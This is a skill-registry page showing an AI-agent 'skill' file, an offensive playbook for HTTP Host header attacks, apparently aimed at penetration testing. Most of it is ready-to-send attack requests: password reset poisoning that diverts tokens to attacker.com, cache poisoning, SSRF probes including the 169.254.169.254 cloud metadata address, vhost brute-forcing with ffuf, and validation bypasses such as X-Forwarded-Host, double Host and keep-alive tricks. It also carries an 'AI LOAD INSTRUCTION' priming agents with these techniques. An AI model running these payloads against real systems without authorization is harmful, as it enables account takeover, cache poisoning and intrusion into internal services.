http-host-header-attacks
Skill2 starsChanged 5 months agoApache-2.0View on GitHub
HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
2 other projects use a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
- yaklang/hack-skillsword for word, first seen Apr 29, 2026
Other versions2 projects use a version of this.
Word for word · 1
- yaklang/hack-skills★ 2.4k100% same
Edited · 1
- Kur1sulab/blackbox★ 398% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository168 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/CO-STAR-UI-CREATOR/AGENT.mdcCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-CREATOR.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-PROMPT.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/README.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/ui.mdCursor rule
- 401-403-bypass-techniquesSkill
- active-directory-acl-abuseSkill
- active-directory-certificate-servicesSkill
- active-directory-kerberos-attacksSkill
- agent-browserSkill
- ai-ml-securitySkill
- ai-seoSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authorization-and-bolaSkill
- api-recon-and-docsSkill
- api-secSkill
- arbitrary-write-to-rceSkill
- arize-adminSkill
- arize-ai-provider-integrationSkill
- arize-annotationSkill
- arize-compliance-auditSkill
- arize-datasetSkill
- arize-evaluatorSkill
- arize-experimentSkill
- arize-instrumentationSkill
- arize-linkSkill
- arize-prompt-optimizationSkill
- arize-promptsSkill
- arize-traceSkill
- authbypass-authentication-flawsSkill
- auth-secSkill
- binary-protection-bypassSkill
- browser-exploitation-v8Skill
- building-nango-functions-locallySkill
- building-nango-functions-remotelySkill
- building-nango-functionsSkill
- business-logic-vulnerabilitiesSkill
- business-logic-vulnSkill
- classical-cipher-analysisSkill
- clickjackingSkill
- cmdi-command-injectionSkill
- code-obfuscation-deobfuscationSkill
- compliance-checkSkill
- compliance-trackingSkill
- container-escape-techniquesSkill
- core-engineeringSkill
- cors-cross-origin-misconfigurationSkill
- crlf-injectionSkill
- csp-bypass-advancedSkill
- csrf-cross-site-request-forgerySkill
- csv-formula-injectionSkill
- d3-visualizationSkill
- dangling-markup-injectionSkill
- defi-attack-patternsSkill
- dependency-confusionSkill
- deserialization-insecureSkill
- dns-rebinding-attacksSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
4 rules. About 0 are common, 4 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈4
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 71
Check Burp Collaborator for incoming HTTP request with the reset token.
- Distinctive: line 96
Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
- Distinctive: line 102
When a reverse proxy uses Host header to route to backends:
- Distinctive: line 323
DNS rebinding + Host attacks: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header …
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: HTTP Host Header Attacks — Injection & Routing Abuse
AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
0. RELATED ROUTING
- web-cache-deception when Host injection is combined with cache behavior
- ssrf-server-side-request-forgery when Host header routes requests to internal services
- open-redirect when Host injection causes redirect to attacker domain
- waf-bypass-techniques when Host manipulation helps bypass WAF routing
- request-smuggling when smuggling enables Host header manipulation past front-end validation
- subdomain-takeover when Host routing exposes internal vhosts resolvable via subdomain
1. ATTACK SURFACE
The Host header is used by web applications and infrastructure for:
| Usage | Exploitation |
| URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker |
| Virtual host routing | Spoof Host → access internal/admin vhost |
| Cache key component | Inject different Host → poison cache for all users |
| Reverse proxy routing | Host determines backend → SSRF to internal services |
| Access control decisions | Host-based ACLs can be bypassed |
| Canonical URL / SEO redirects | Host injection → open redirect |
2. PASSWORD RESET POISONING
The most common and impactful Host header attack.
How It Works
1. Attacker requests password reset for victim@target.com
2. Attacker modifies Host header in the reset request:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
email=victim@target.com
3. Server generates reset link using Host header value:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset passwordTesting
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
email=victim@target.comCheck Burp Collaborator for incoming HTTP request with the reset token.
Variants
- Some apps concatenate:
Host: target.com.attacker.com→ link becomeshttps://target.com.attacker.com/reset?token=xxx - Some apps use only the port portion:
Host: target.com:@attacker.com→ parsed asattacker.comin some URL parsers
3. WEB CACHE POISONING VIA HOST
1. Attacker sends:
GET / HTTP/1.1
Host: attacker.com
2. If cache keys on URL path but NOT on Host header:
→ Response cached with attacker.com in generated links/content
3. Subsequent users requesting GET / receive the poisoned response
→ Links point to attacker.com, scripts load from attacker.comKey requirement: Cache must not include Host header in cache key, but application must use Host in response body.
Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
4. SSRF VIA HOST ROUTING
When a reverse proxy uses Host header to route to backends:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal serviceCommon in:
- Nginx
proxy_passbased on$host - Apache
ProxyPasswith virtual host routing - Kubernetes Ingress controllers
- Cloud load balancers
5. VIRTUAL HOST BYPASS
Many servers host multiple applications on the same IP via virtual hosting:
Target: Host: www.target.com → public site
Hidden: Host: admin.target.com → admin panel (not in public DNS)
Hidden: Host: staging.target.com → staging environment
Hidden: Host: localhost → server status pageDiscovery
1. Brute-force Host header with common vhost names:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. Try special values:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. Compare response size/content to identify different vhosts6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
6.1 Override Headers
Many frameworks/proxies trust these headers over the Host header:
| Header | Frameworks That Trust It |
X-Forwarded-Host | Symfony, Laravel, Django (when USE_X_FORWARDED_HOST=True), Rails (behind proxy) |
X-Host | Some custom proxy configurations |
X-Original-URL | IIS with URL Rewrite module |
X-Rewrite-URL | IIS with URL Rewrite module |
Forwarded: host=attacker.com | RFC 7239 compliant proxies |
X-Forwarded-Server | Apache mod_proxy |
Test all simultaneously:
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com6.2 Absolute URL in Request Line
GET http://attacker.com/path HTTP/1.1
Host: target.comPer HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
6.3 Double Host Header
GET /path HTTP/1.1
Host: target.com
Host: attacker.comBehavior varies:
- Some proxies validate first Host, app uses second
- Some servers concatenate:
target.com, attacker.com - RFC says: if both differ, return 400. Most servers don't.
6.4 Host with Port / Credentials
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.comURL parsers may extract the "host" portion differently when credentials (@) or fragments (#) are present.
6.5 Trailing Dot
Host: target.com.DNS treats target.com. and target.com identically (trailing dot = FQDN). But Host validation may not strip the trailing dot → target.com. ≠ target.com in string comparison → bypass whitelist.
6.6 Tab / Space Injection
Host: target.com\tattacker.com
Host: target.com attacker.comSome parsers split on whitespace; the server may use attacker.com portion while validation checks target.com portion.
6.7 Wrap-Around / Enclosed Values
Host: "attacker.com"
Host: <attacker.com>Quoted or bracketed values may be stripped by the app but not by the validator.
7. FRAMEWORK-SPECIFIC BEHAVIOR
| Framework | Host Source | Gotcha |
| PHP | $_SERVER['HTTP_HOST'] (raw header, directly injectable) | SERVER_NAME is safer only with UseCanonicalName On |
| Django | HttpRequest.get_host() checks X-Forwarded-Host first (if enabled) | USE_X_FORWARDED_HOST=True bypasses ALLOWED_HOSTS |
| Rails | request.host from Host header; trusts X-Forwarded-Host behind proxy | Rails 6+ HostAuthorization middleware mitigates |
| Node/Express | req.hostname / req.headers.host; with trust proxy uses X-Forwarded-Host | No built-in host validation |
8. CONNECTION-STATE ATTACKS
A sophisticated variant exploiting HTTP keep-alive:
Connection 1:
Request 1: GET / HTTP/1.1 ← Valid Host: target.com
Host: target.com → Proxy validates, forwards, keeps connection open
Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection
Host: evil.com → Some proxies skip validation on subsequent requests
(they validated the connection on first request)This works against proxies that perform Host validation only on the first request of a keep-alive connection.
Testing
1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently9. HOST HEADER ATTACK DECISION TREE
Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│ ├── Change Host to attacker domain → reflected in response?
│ │ ├── YES → Check impact:
│ │ │ ├── In password reset emails? → PASSWORD RESET POISONING
│ │ │ ├── In cached responses? → WEB CACHE POISONING
│ │ │ ├── In redirects? → OPEN REDIRECT
│ │ │ └── In script/link URLs? → XSS VIA HOST
│ │ └── NO (400/403/different response) → Host is validated
│ │
│ └── Host validated? Try bypasses:
│ ├── X-Forwarded-Host header
│ ├── X-Host / X-Original-URL / Forwarded header
│ ├── Absolute URL in request line
│ ├── Double Host header
│ ├── Host: target.com:@attacker.com (URL parser confusion)
│ ├── Host: target.com. (trailing dot)
│ ├── Tab/space injection in Host value
│ └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│ ├── Brute-force Host values against target IP
│ ├── Try: localhost, admin, staging, internal, intranet
│ └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│ ├── Host: 127.0.0.1 → internal service?
│ ├── Host: internal-hostname.local → internal routing?
│ └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
└── Check if app uses Host in server-side operations
(email generation, webhook URLs, API callbacks)10. TRICK NOTES — WHAT AI MODELS MISS
- Password reset poisoning doesn't require the victim to be logged in — you request the reset, the victim just clicks the link. The token lands on your server.
- X-Forwarded-Host is the #1 missed bypass: Most Host validation checks
Hostheader but frameworks silently preferX-Forwarded-Hostwhen behind a proxy. - Double Host header is protocol-valid but behavior-undefined: RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.
- Absolute URI overrides Host per RFC:
GET http://evil.com/path HTTP/1.1\nHost: target.com— the spec says use the request-line URI. But not all implementations agree. - Cache poisoning via Host requires the cache to exclude Host from the key: Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with
X-Forwarded-Hostas cache key differentiator. - Connection-state attacks are rarely tested: Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.
- DNS rebinding + Host attacks: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

